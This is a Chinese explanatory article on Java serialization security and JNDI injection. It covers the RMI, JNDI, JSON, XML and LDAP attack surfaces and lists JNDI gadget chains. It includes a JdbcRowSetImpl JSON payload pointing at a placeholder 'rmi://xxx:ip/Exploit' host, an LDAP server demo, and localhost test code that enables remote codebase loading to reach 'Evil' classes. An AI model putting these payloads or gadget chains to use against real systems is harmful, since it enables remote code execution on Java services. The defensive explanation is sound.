Java序列化与JNDI注入

现阶段公司会进行季度的安全巡检，扫描出来的 Java 相关漏洞，无论是远程代码执行、还是 JNDI 注入，基本都和 Java 的序列化机制有关。本文简单梳理了一下序列化机制相关知识，解释为什么这么多漏洞都和 Java 的序列化有关，以及后续怎么避免这些安全漏洞，减少版本升级工作量。同时能基于本文的知识，在看到序列化漏洞后，简单评估该漏洞对自身应用的影响。

一、序列化概述

序列化主要是提供了一种机制，方便数据在网络之间进行传输，或者独立于程序存储在本地磁盘。

序列化的使用场景很广，比如服务器收到请求参数，一种处理方式是一个个解析数据，自己构建处理数据。还有一种就是直接将数据反序列化为对象。当要把对象存储到缓存时，我们可以自己解析对象生成数据保存到缓存，取出时也自己处理数据转换为对象，也可以直接借助语言的序列化机制帮我们将对象序列化为数据存储起来，从缓存里获取数据后直接反序列化转为对象。在这些场景里，很明显序列化机制能极大改善我们的编程体验。

Java 序列化基础

最简单模式：

implements Serializable

我们可以只实现序列化接口，让Java 序列化机制会帮我们处理其他的一切事情。

基于Serializable接口简单定制

一个对象想要被序列化，那么它的类就要实现此接口或者它的子接口。

这个对象的所有属性（包括private属性、包括其引用的对象）都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

可以用transient指定不想序列化的数据，比如密码等敏感数据。

由于Serializable对象完全以它存储的二进制位为基础来构造，因此并不会调用任何构造函数，因此Serializable类无需默认构造函数，但是当Serializable类的父类没有实现Serializable接口时，反序列化过程会调用父类的默认构造函数，因此该父类必需有默认构造函数，否则会抛异常。

使用transient关键字阻止序列化虽然简单方便，但被它修饰的属性被完全隔离在序列化机制之外，导致了在反序列化时无法获取该属性的值，而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性，甚至完全不序列化某些属性或者加密序列化某些属性。

可以定义自己的writeObject()和readObject() 方法，来自定义部分序列化和反序列化流程。注意这两个方法是私有的，却会被 Java 序列化机制自行调用。

基于Externalizable 接口全面定制

Externalizable接口是Serializable接口的子类，提供了两个在序列化/反序列化时自动调用的方法：writeExternal()和readExternal()。

用户要实现的writeExternal()和readExternal() 方法，用来决定如何序列化和反序列化。

因为序列化和反序列化方法需要自己实现，因此可以指定序列化哪些属性，而transient在这里无效。

Serializable 对象的反序列化完全从其存储的字节位里构建，没有调用构造器。而Externalizable 对象反序列化时，会调用公共无参构造器，之后readExternal() 才调用。所以实现这个接口要提供无参构造器。

对Externalizable对象反序列化时，会先调用类的无参构造方法，这是有别于默认反序列方式的。如果把类的不带参数的构造方法删除，或者把该构造方法的访问权限设置为private、默认或protected级别，会抛出java.io.InvalidException: no valid constructor异常，因此Externalizable对象必须有默认构造函数，而且必需是public的。

序列化版本号serialVersionUID

在序列化过程中，可以控制序列化的版本。该字段为被序列化对象中的serialVersionUID字段。

一个对象数据，在反序列化过程中，如果序列化串中的serialVersionUID与当前对象值不同，则反序列化失败，否则成功。

如果serialVersionUID没有显式生成，系统就会自动生成一个。生成的输入有：类名、类及其属性修饰符、接口及接口顺序、属性、静态初始化、构造器。任何一项的改变都会导致serialVersionUID变化，这样可能导致即使类文件不变，升级 JDK 小版本都会导致反序列化失败。

属性的变化都会导致自动生成的serialVersionUID发生变化。例如，对于对象A，我们生成序列化的S(A)，然后修改A的属性，则此时A的serialVersionUID发生变化。反序列化时，S(A)与A的serialVersionUID不同，无法反序列化。会报序列号版本不一致的错误。

为了避免这种问题， 一般系统都会要求实现serialiable接口的类显式的生明一个serialVersionUID。显式定义serialVersionUID的两种用途：

• 希望类的不同版本对序列化兼容时，需要确保类的不同版本具有相同的serialVersionUID；
• 不希望类的不同版本对序列化兼容时，需要确保类的不同版本具有不同的serialVersionUID。

如果我们保持了serialVersionUID的一致，则在反序列化时，对于新增的字段会填入默认值null（int的默认值0）,对于减少的字段则直接忽略。

另外，修改方法、transient 字段、静态字段都不影响版本号，这些都不是序列化内容，因此也不是序列化版本号生成的依据。JVM 生成的版本号可以通过jdk/bin/serialver命令获取，假设想知道某个类在某个 jvm 里的默认序列化版本号，可以用这个命令，来进行迁移改造。

注意，JSON、XML 等等，和 Java 内置序列化使用的字节流一样，都只是序列化数据的一种协议格式，其序列化机制还是基于 Java 的，并不是对 Java 序列化的一个替代。除了这类有构造和解析包就能直接使用的序列化方案，还有一类需要自己生成各种模板代码（Sub、Skeleton）的序列化方案，比如 rmi、Protocol Buffer 之类的，它们在 Java 侧的序列化一样是基于 Java 原生序列化的。

二、Java 序列化安全问题

JDK 的开发负责人说序列化是 Java 安全问题之源：

Serialization was a horrible mistake in 1997, Some of us tried to fight it, but it went in, and there it is. ...We like to call serialization 'the gift that keeps on giving,' and the type of gift it keeps on giving is security vulnerabilities.... Probably a third of all Java vulnerabilities have involved serialization; it could be over half. It is an astonishingly fecund source of vulnerabilities, not to mention instabilities.

需要注意的是，序列化并不是 Java 特有的问题，大多数编程语言都深受序列化安全之苦，因为序列化从应用场景上来说就是要和外部数据打交道，这自然就有安全风险，序列化实现的好与坏只能影响安全风险的强与弱，并不能消除。另外绝大部分的 Java 序列化漏洞，也并不是 JDK 的漏洞，而是应用程序反序列化之前没有对数据做足够的校验导致的。JDK 的大部分安全修复，其实更合适的叫法是安全加固。

Java 序列化一直以来的坏名声，主要是和它的实现有关，而这个实现方案，又受到了 Java 愿景的束缚。Java 初期一直标榜自己强大但简单，用 Java 之父的话就是“Java is a blue collar language”，序列化方案尤其能体现这种思维。和其他语言相比，Java 内置的序列化用起来很简单但功能极其强大，你只需要实现一个空接口Serializable ，其他的什么都不用你管，JVM 帮你生成要反序列化的对象、帮你处理方法之间的调用，帮你处理对象内的引用链，帮你递归继承链。不像其他语言只序列化数据，Java 里反序列化后的对象自动就具有了数据和状态，你不需要做任何处理就能直接在业务里使用。

实现数据的序列化很简单，但实现对象状态的序列化则麻烦很多，你没法走正常的初始化，然后依次调用对应的方法，因为 JVM 不可能知道当前状态的对象经历过哪些方法调用。为了实现这些功能，JVM 就只能借助非常规手段，也就是反射。具体来说就是在反序列化时，JVM 先创建一个空对象，然后通过反射把对象里的数据扣出来填充进这个空对象，而跳过了正常的构造器初始化过程。这种实现导致了 Java 里的序列化机制存在各种问题。

这种序列化实现方式是非正交的，也就是让序列化的实现渗透到了其他各个功能模块。比如 lambda 项目的负责人说开发 lambda 时，有 20%的开发量来自于处理对序列化的影响。

跳过正常的构造器初始化过程也就是说跳过了各种构造器安全检查，这也是恶意代码能进入反序列化的一个主要原因。

Java 序列化还有一个比较严重的问题就是，Java 里对象实现序列化只要implement Serializable 接口就好，看上去是一个静态类型功能，但实际上这是一个标签接口，不做任何事情，只是对 JVM 的一个提示，表示这个类是可序列化的，但实际上这个类可不可以序列化，并不能保证，这实际上是一个动态类型功能。因此线上可能会遇到实现了序列化接口但仍抛出无法序列化的错误，而这个错误是编译器发现不了的。

除了这三个，序列化还有很多其他的问题，比如对线程同步的影响，对继承结构的影响等等，网上很多文档都有详细的描述。

三、序列化漏洞的分类

大部分序列化漏洞都被归类为高危，但其实要利用序列化漏洞来攻陷系统其实很难，因为它的使用前置条件很高。序列化漏洞只会发生在反序列化恶意数据的过程中，这里的重点是恶意数据，而不是反序列化。同时恶意数据的输入也意味着反序列化服务链调用终端是不受信任的第三方，因此序列化漏洞一般都要和其他攻击手段一起使用才起作用。

当然 Java 序列化机制让我们可以在反序列化过程中不做任何校验，尤其是它直接跳过了构造器初始化过程，这让应用更容易受影响。

反序列化中的恶意数据，一般来源有这几种：RMI、JNDI、JSON、XML、其他 RPC 报文协议。

1. RMI

RMI（Remote Method Invocation，远程方法调用），它要求客户端和服务器端都是 Java。远程方法调用是分布式编程中的一个基本思想，实现远程方法调用的技术有CORBA、WebService等（这两种独立于编程语言）。RMI则是专门为JAVA设计，依赖JRMP通讯协议。

RMI可以使我们引用远程主机上的对象，将JAVA对象作为参数传递，而这些对象要可以被序列化。就像C语言中有RPC（remote procedure calls ）使远程主机上执行C函数并返回结果。可以被远程调用的对象必须实现java.rmi.Remote接口，其实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法

import java.rmi.*;
 
public interface RemoteObject extends Remote { 
    public Widget doSomething( ) throws RemoteException; 
    public Widget doSomethingElse( ) throws RemoteException; 
}

不继承UnicastRemoteObject类的DEMO

public class HelloImpl implements IHello {//IHello是客户端和服务端公用接口
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    @Override
    public String sayHello(String name) {//HelloImpl是一个服务端远程对象，提供了一个sayHello方法供远程调用。
        System.out.println(name);
        return name;
    }
}

使用远程方法调用会涉及参数的传递和执行结果的返回，这些参数和结果可能是基本类型也可能是对象引用，这必然就涉及序列化和反序列化。

如果没有对接收的参数进行仔细校验的话，那反序列化出来的对象里就可能包含恶意代码，比如可能方法里偷偷塞进了 Runtime.exec("cmd") 方法，或者读取敏感信息然后通过 http://java.net 包里的方法发送给恶意第三方。

不过一般来说 RMI 用的比较少，一些基于 RMI 的服务也都是内网服务居多。但 RMI 可以和 JNDI 结合使用，经常会被用来作为攻击端给 JNDI 提供恶意脚本输入。

RMI 的默认端口是 1099，很多互联网上的扫描工具都会扫描这个端口。这也是除了 443 和 80，对外暴露的端口不要用默认的原因，起码能给攻击者制造点困难。

2. JNDI

JNDI（Java Naming and DIrecroty Interface），是java命名与目录接口，任何实现了 JavaEE 规范的容器都要支持 JNDI，比如 Tomcat、Jetty、JBOSS 等 Java 容器都支持，具体应用代码研发过程中用的可能比较少，但我们依赖环境里 JNDI 应用还是比较广泛的，所以对我们影响也比较大。现在我们修复的 Java 漏洞，很大一部分都是基于 JDNI 来攻击的。

JNDI包括Naming Service和Directory Service，通过名称来寻找数据和对象的API，也称为一种绑定。JNDI可访问的现有的目录及服务有：JDBC、LDAP、RMI、DNS、NIS、CORBA。

//web.xml
"jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
  <%
      Context ctx=new InitialContext();
      String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
      out.print(testjndi);
  %>

Naming Service：命名服务是将名称与值相关联的实体，称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。

Directory Service：是一种特殊的Naming Service，允许存储和搜索“目录对象”，目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。

简单说来，JNDI 就是一个簿记系统，或者说一个映射数据结构，用来做配置管理，以应用中访问数据库来举例，你在配置文件里配置数据库的具体信息，然后给这个配置分配一个 name 或者说 key，在应用中通过查询这个 key 来获取数据库的具体地址，然后访问数据库。

假设恶意用户控制了这个 key，或者 key 的内容配置成恶意地址，就能返回恶意对象数据，这就是 JNDI 注入。JNDI 支持的协议包括 rmi、ldap、file、corba 和dns，当然你也可以配置自己的 lookup key，但就攻击而言，一般会选择 rmi 和ldap，当然也有其他情况。

JNDI 注入发生后，如果反序列化过程没有做详细检查，就有可能导致应用反序列化了这个恶意对象，从而可能会执行恶意代码。

现在很多应用里都使用自己的配置中心来管理配置，但在框架代码里，由于是提供给第三方使用的，所以还一般使用 JDNI 来管理配置，一个是简单，再有就是通用，属于 JavaEE 规范，基本所有 Java 容器都支持。比如 logback 这样一个日志系统，竟然也内置了 JNDI 来拉取外置配置。

下面是 Tomcat 中配置数据库 JDNI 后，在应用里使用的过程，重点关注lookup方法：

<datasources>
<local-tx-datasource>
<jndi-name> MySqlDSjndi-name>
<connection-url> jdbc:mysql://localhost:3306/testconnection-url>
<driver-class> com.mysql.jdbc.Driverdriver-class>
<user-name> rootuser-name>
<password> rootpasswordpassword>
local-tx-datasource>
datasources>

Connection conn=null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); // lookup数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
......
c.close();
}
catch(Exception e) {
e.printStackTrace();
}
finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}

3. JSON

JSON 可以说是现在 Web 开发中的标准报文协议了，而且大部分暴露在互联网上的接口，所以 JSON 序列化漏洞对我们较大，但同样的，利用 JSON 漏洞的条件其实也是很苛刻的。

JSON 序列化漏洞的利用过程，简单来说就是在从 JSON 字符串反序列到 Java 对象时，应用会自动调用对应字段的 set 方法，这个攻击就是在 set 方法的调用过程中。一般正常的 JSON 操作都不会触发反序列化漏洞，但在涉及多态时，反序列化时需要显式指明 class 类型，这时候就可能会触发该漏洞。

如下的示例可以看出，在涉及多态反序列化时，必须要在反序列化的字符串中指定 class 信息才可以，这就带来了问题，如果传入的 class 内容是恶意的，就会导致这个 class 在反序列化执行 set 时可能发生攻击。

比如，假设被序列化的 json 字符串是 {"@class":"
com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:ip/Exploit","autoCommit":true}，注意这里的类型并不是应用代码里要求的类型，只要应用里没有使用具体类型，而使用了 Object 之类的基类型，攻击者就可以构造这样的 json 字符串。

反序列化 JdbcRowSetImpl 时会执行setAutoCommit()，而它的这个 set 方法又会执行 InitialContext.lookup(dataSourceName) ，dataSourceName 被我们设置成了一个恶意的 RMI 对象，具体内容看下面示例，这样 lookup 并下载后一初始化就执行了攻击。这里其实有要求服务器的出访不做限制。

也可以通过 JsonTypeInfo.Id.NAME 注解模式来指定 class 信息，可以避免该问题，但 JsonTypeInfo.Id.CLASS 就不行，因为也把 class 给暴露出去了。

从上面可以看出，一般来说如果要触发这个 JSON 反序列化攻击，需要满足下面几个条件：

1，要反序列化的 JSON 数据是从外部传入的。基本上只要是接口就满足这个条件。

2，反序列化时用的 class 信息是外部传入的。这样的话 JSON 库代码在反序列化时才能正常执行对象初始化和 set 方法，否则直接就抛异常了。这个条件比较苛刻，正常 web 开发不会让对方传递 class 信息。

3，反序列化代码里限定的类用了 Object 或者 Serial 之类的很顶层的类，比如objectMapper.readValue(json, Object.class); ，如果这里用具体业务类的话，即使第二步传入了恶意的 class 数据，也可以在这一步匹配时阻止反序列化并抛出异常。

4，第 2 步传入的 class 要在我们代码的依赖里。这个很好理解，不在依赖里的话反序列化都做不到。

5，第 2 步传入的 class 不在 JSON 处理库的黑名单里。像 Jackson 等 JSON 处理库都维护了一个内部黑名单，记录了可能会被利用来进行反序列化攻击的 class，在反序列化前都会先检查一下，如果传入的 class 在自己的黑名单话，就会反序列化失败，比如我们上面提到的 JdbcRowSetImpl 就已经被最新版的 Jackson 列入了黑名单。

综上看来，JSON 的反序列化漏洞对 api 之类的接口影响有限，但如果代码里不小心调用了 enableDefaultTyping，又在ObjectMapper#readValue() 里用到了 Object 这种基类，或 Comparator、Serialable 这样的接口，即使你没意识到自己的接口可以被指定 class 信息，攻击者仍然可以攻击。

另外从上面的流程可以看出，发序列化恶意代码执行后，JSON 肯定还会把恶意对象强制类型转换成我们期望的对象，但类型一定不匹配，所以会抛出 ClassCastException 之类的异常。如果日志里有这种异常，而 cast 前的class 又是你不认识或没用到过的，那一定要检查是不是被攻击了。当然到异常攻击这一步后，恶意代码其实已经执行完了，但知道受到攻击总比不知道好。

public class JSONDefaultTypeAttack {
public static void main(String[] args) throws Exception {
Banana banana = new Banana();
banana.name = "banana";
Buy buy1 = new Buy("online", banana);
ObjectMapper mapper1 = new ObjectMapper();
// 序列化成功
String json1 = mapper1.writeValueAsString(buy1);
System.out.println("toJson1=" + json1);
// 反序列化失败:Cannot construct instance of `chendw.security.Fruit` (no Creators, like default construct, exist)
// Buy buy2 = mapper1.readValue(json1, Buy.class);
// banana = (Banana) buy2.getFruit();
// System.out.println("name1=" + banana.name);
// 反序列化成功
ObjectMapper mapper2 = new ObjectMapper();
mapper2.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json2 = mapper2.writeValueAsString(buy1);
System.out.println("toJson2=" + json2);
Buy buy3 = mapper2.readValue(json2, Buy.class);
banana = (Banana) buy3.getFruit();
System.out.println("name2=" + banana.name);
}
// toJson1={"mode":"online","fruit":{"name":"banana"}}
// toJson2={"@class":"chendw.security.Buy","mode":"online","fruit":{"@class":"chendw.security.Banana","name":"banana"}}
// name2=banana
}
interface Fruit {
}
class Buy {
private String mode;
private Fruit fruit;
Buy() {
}
Buy(String mode, Fruit fruit) {
this.mode = mode;
this.fruit = fruit;
}
public Fruit getFruit() {
return fruit;
}
public String getMode() {
return mode;
}
}
class Apple implements Fruit {
public String name;
}
class Banana implements Fruit {
public String name;
}

4. XML

XML 的反序列化攻击和 JSON 差不多，都是控制反序列化的 XML 字符串，传入恶意数据来攻击，但利用的点又有区别。

拿去年公司要求修复的 XStream 漏洞【CVE-2021-21344】来说，要想理解相关漏洞，就需要先了解 XStream 自身的反序列化机制。

XStream 在进行反序列化时，会要求类库调用者显式指定反序列化的类：xstream.allowTypes(new Class[] { Xxxx.class })，这样避免了 JSON 里通常利用的攻击点。

XStream 反序列化是通过 converter 来进行的，不同类型的数据使用不同的 converter，所以攻击点一般也在这里。另外和 JSON 不同，XStream 不需要服务端启用 enableDefaultType 才可以在 XML 里携带 class 信息，相反，XStream 里的 class 信息是默认允许添加有的，这样攻击者就可以构造恶意数据来攻击了。

可以看出，XML 的漏洞利用门槛要比 JSON 低很多。另外一般官方的修复也和 JSON 库一样采用黑名单机制，哪个类出问题就把哪个类加到黑名单里。

5. LDAP

LDAP（Lightweight Directory Access Protocol ，轻型目录访问协议）是一种目录服务协议，运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息（如企业员工信息：姓名、电话、邮箱等，公用证书、安全密钥、物理设备信息等），能进行查询、浏览和搜索，以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询，它“读”性能很强，但“写”性能较差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。

LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。

LDAP基本概念

条目Entry

条目也叫记录项，就像数据库中的记录。是LDAP增删改查的基本对象。

dn（distinguished Name，唯一标识名），每个条目都有一个唯一标识名。可以看作对象的全路径，RDN则是其中的一段路径（靠前的一段），剩余路径则成为父标识（PDN）。

属性Attribute

每个条目都有很多属性（Attribute），每个属性都有名称及对应的值。属性包含cn（commonName姓名）、sn（surname姓）、ou（organizationalUnitName部门名称）、o（organization公司名称）等。每个属性也都有唯一的属性类型。

对象类ObjectClass

对象类（ObjectClass）是属性的集合，包含结构类型（Structural）、抽象类型(Abstract)和辅助类型（Auxiliary）等。比如单位职工类可能包含姓sn、名cn、电话telephoneNumber等。模式(Schema)则是对象类的集合。

 LDAP攻击：

    <dependency>
    <groupId>com.unboundidgroupId>
    <artifactId>unboundid-ldapsdkartifactId>
    <version>2.3.8version>
    dependency>

public class LDAPSeriServer {
 
      private static final String LDAP_BASE = "dc=example,dc=com";
      public static void main(String[] args) throws IOException {
          int port = 1389;
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen", //$NON-NLS-1$
                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));
              config.setSchema(null);
              config.setEnforceAttributeSyntaxCompliance(false);
              config.setEnforceSingleStructuralObjectClass(false);
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
              ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
              ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
 
              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
              ds.startListening();
 
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  }

  public class LDAPClient1 {
      public static void main(String[] args) throws NamingException {
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
          Context ctx = new InitialContext();
          Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
      }
  }

四、JNDI调用链

JNDI可访问的现有的目录及服务有：

DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

JNDI结构

javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；
javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；
javax.naming.event：在命名目录服务器中请求事件通知；
javax.naming.ldap：提供LDAP支持；
javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。

JNDI底层类

InitialContext类

构造方法
	InitialContext() 
	构建一个初始上下文。
	代码：
		InitialContext initialContext = new InitialContext();
		在这JDK里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。
常用方法：
	bind(Name name, Object obj) 
	    将名称绑定到对象。 
	list(String name) 
	    枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
	lookup(String name) 
	    检索命名对象。 
	rebind(String name, Object obj) 
	    将名称绑定到对象，覆盖任何现有绑定。 
	unbind(String name) 
	    取消绑定命名对象。
	代码：
		package com.rmi.demo;
		import javax.naming.InitialContext;
		import javax.naming.NamingException;
		public class jndi {
		    public static void main(String[] args) throws NamingException {
		        String uri = "rmi://127.0.0.1:1099/work";
		        InitialContext initialContext = new InitialContext();
		        initialContext.lookup(uri);
		    }
		}

Reference类

该类也是在javax.naming的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法：
	Reference(String className) 
	    为类名为“className”的对象构造一个新的引用。  
	Reference(String className, RefAddr addr) 
	    为类名为“className”的对象和地址构造一个新引用。  
	Reference(String className, RefAddr addr, String factory, String factoryLocation) 
	    为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。  
	Reference(String className, String factory, String factoryLocation) 
	    为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
	代码：
		String url = "http://127.0.0.1:8080";
        Reference reference = new Reference("test", "test", url);
        	参数1：className – 远程加载时所使用的类名
			参数2：classFactory – 加载的class中需要实例化类的名称
			参数3：classFactoryLocation – 提供classes数据的地址可以是file/ftp/http协议
	常用方法：
		void add(int posn, RefAddr addr) 
		    将地址添加到索引posn的地址列表中。  
		void add(RefAddr addr) 
		    将地址添加到地址列表的末尾。  
		void clear() 
		    从此引用中删除所有地址。  
		RefAddr get(int posn) 
		    检索索引posn上的地址。  
		RefAddr get(String addrType) 
		    检索地址类型为“addrType”的第一个地址。  
		Enumeration getAll() 
		    检索本参考文献中地址的列举。  
		String getClassName() 
		    检索引用引用的对象的类名。  
		String getFactoryClassLocation() 
		    检索此引用引用的对象的工厂位置。  
		String getFactoryClassName() 
		    检索此引用引用对象的工厂的类名。    
		Object remove(int posn) 
		    从地址列表中删除索引posn上的地址。  
		int size() 
		    检索此引用中的地址数。  
		String toString() 
		    生成此引用的字符串表示形式。	
 

JNDI调用链

无论是什么调用链，最终都是运行到InitialContext.lookup。

（1）com.sun.rowset.JdbcRowSetImpl
（2）com.sun.jndi.rmi.registry.BindingEnumeration
（3）com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
（4）org.apache.commons.configuration.JNDIConfiguration
（5）com.mchange.v2.c3p0.JndiRefForwardingDataSource
（6）com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
// Spring JNDI调用链的核心：SimpleJndiBeanFactory
（7）org.springframework.beans.factory.config.PropertyPathFactoryBean
（8）org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder
（9）org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor

（1）JdbcRowSetImpl

调用链：

JdbcRowSetImpl.setAutoCommit
    JdbcRowSetImpl.connect
        InitialContext.lookup

JdbcRowSetImpl具体代码：

//JdbcRowSetImpl
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            // conn为null，进入connect
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
    }
 
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                // JNDI代码
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
               ...
    }

测试代码如下：

    public static void main(String[] args) throws SQLException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
 
        try {
            jdbcRowSet.setDataSourceName("rmi://ip:1099/Exp_fast");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException var3) {
            var3.printStackTrace();
        }
    }

（2）BindingEnumeration

RegistryContext构造函数，第一个参数传入host，第二个参数传入port。恶意类的名称则是通过BindingEnumeration构造函数的第二个参数传入，这样就具备的完整的rmi://ip:port/Evil

    public RegistryContext(String var1, int var2, Hashtable var3) throws NamingException {
        this.environment = var3 == null ? new Hashtable(5) : var3;
        ...
        RMIClientSocketFactory var4 = (RMIClientSocketFactory)this.environment.get("com.sun.jndi.rmi.factory.socket");
        this.host = var1;
        this.port = var2;
    }

测试代码：

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Hashtable hashtable=new Hashtable();
        RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
        Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
        Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
        constructor.setAccessible(true);
        String[] evil = new String[]{"Evil"};
        Object b=constructor.newInstance(registryContext,evil);
        Method m1=b.getClass().getDeclaredMethod("next");
        m1.setAccessible(true);
        m1.invoke(b);
    }

（3）LazySearchEnumerationImpl

LazySearchEnumerationImpl的findNextMatch方法调用了上面的BindingEnumeration.next()。

// LazySearchEnumerationImpl
 
private NamingEnumeration candidates;
 
public SearchResult nextElement() {
        try {
            return this.findNextMatch(true);
        } ...
    }
 
private SearchResult findNextMatch(boolean var1) throws NamingException {
        SearchResult var2;
        if (this.nextMatch != null) {
            ...
        } else {
            while(this.candidates.hasMore()) {
                Binding var3 = (Binding)this.candidates.next(); //可以进入到BindingEnumeration.next()
                Object var4 = var3.getObject();
                if (var4 instanceof DirContext) {
                    Attributes var5 = ((DirContext)((DirContext)var4)).getAttributes("");
                    if (this.filter.check(var5)) {
                        if (!this.cons.getReturningObjFlag()) {
                            var4 = null;
                        } else if (this.useFactory) {
                            try {
                                CompositeName var6 = this.context != null ? new CompositeName(var3.getName()) : null;
                                var4 = DirectoryManager.getObjectInstance(var4, var6, this.context, this.env, var5);
                            } ...
}

测试代码：

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Hashtable hashtable=new Hashtable();
        RegistryContext registryContext=new RegistryContext("127.0.0.1",1099,hashtable);
        Class c=Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
        Constructor constructor=c.getDeclaredConstructor(RegistryContext.class,String[].class);
        constructor.setAccessible(true);
        String[] evil = new String[]{"Evil"};
        NamingEnumeration b=(NamingEnumeration)constructor.newInstance(registryContext,evil);
        Class c2=Class.forName("com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl");
        Constructor constructor2=c2.getConstructor(NamingEnumeration.class, AttrFilter.class,SearchControls.class);
        Object o2=constructor2.newInstance(b,null,null);
        Method m2=o2.getClass().getDeclaredMethod("nextElement");
        m2.setAccessible(true);
        m2.invoke(o2);
    }

（4）JNDIConfiguration

//JNDIConfiguration
 
    private String prefix;
    private Context context;
    private Context baseContext;
 
    public Context getBaseContext() throws NamingException {
        if (this.baseContext == null) {
            this.baseContext = (Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix); 
        }
 
        return this.baseContext;
    }
 
    public Context getContext() {
        return this.context;
    }

如果传入的Context为InitialContext，prefix参数如果为rmi://ip:port/Evil，即可实现JNDI攻击。测试代码如下：

    public static void main(String[] args) throws SQLException, NamingException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        InitialContext ctx=new InitialContext();
        JNDIConfiguration jndiConfiguration=new JNDIConfiguration(ctx,"rmi://127.0.0.1:1099/Evil");
        jndiConfiguration.getBaseContext();
    }

另外，getKeys调用了getBaseContext方法，在XStream这种反序列化调用链的构造中需要向上寻找调用方法。

public Iterator<String> getKeys() {
    return this.getKeys("");
}
 
public Iterator<String> getKeys(String prefix) {
    ...
    Context context = this.getContext(path, this.getBaseContext());
}

（5）JndiRefForwardingDataSource

JndiRefForwardingDataSource的dereference方法中的InitialContext.lookup非常明显，只需要将jndiName设为想要的url，jndiName是父类JndiRefDataSourceBase中的属性。

测试代码：

